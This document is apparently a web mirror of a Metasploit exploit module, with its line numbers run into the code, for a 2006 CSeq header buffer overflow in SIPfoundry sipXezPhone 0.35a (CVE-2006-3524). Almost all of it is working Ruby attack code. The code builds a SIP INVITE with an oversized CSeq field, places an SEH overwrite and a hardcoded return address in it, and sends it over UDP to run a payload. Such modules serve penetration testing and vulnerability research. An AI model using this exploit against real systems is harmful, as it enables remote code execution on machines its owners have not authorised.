Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/sip/sipxezphone_cseq.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',14'Description' => %q{15This module exploits a buffer overflow in SIPfoundry's16sipXezPhone version 0.35a. By sending an long CSeq header,17a remote attacker could overflow a buffer and execute18arbitrary code on the system with the privileges of19the affected application.20},21'Author' => 'MC',22'References' =>23[24['CVE', '2006-3524'],25['OSVDB', '27122'],26['BID', '18906'],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 400,35'BadChars' => "\x00\x0a\x20\x09\x0d",36'StackAdjustment' => -3500,37},38'Platform' => 'win',3940'Targets' =>41[42['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],43],4445'Privileged' => false,4647'DisclosureDate' => '2006-07-10',4849'DefaultTarget' => 0))5051register_options(52[53Opt::RPORT(5060)54])55end5657def exploit58connect_udp5960print_status("Trying target #{target.name}...")6162user = rand_text_english(2, payload_badchars)63port = rand(65535).to_s64filler = rand_text_english(260, payload_badchars)65seh = generate_seh_payload(target.ret)66filler[252, seh.length] = seh6768sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"69sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"70sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"71sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"72sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"73sploit << "CSeq: " + filler + "\r\n"74sploit << "Max-Forwards: 20" + "\r\n"75sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"7677udp_sock.put(sploit)7879handler80disconnect_udp81end82end838485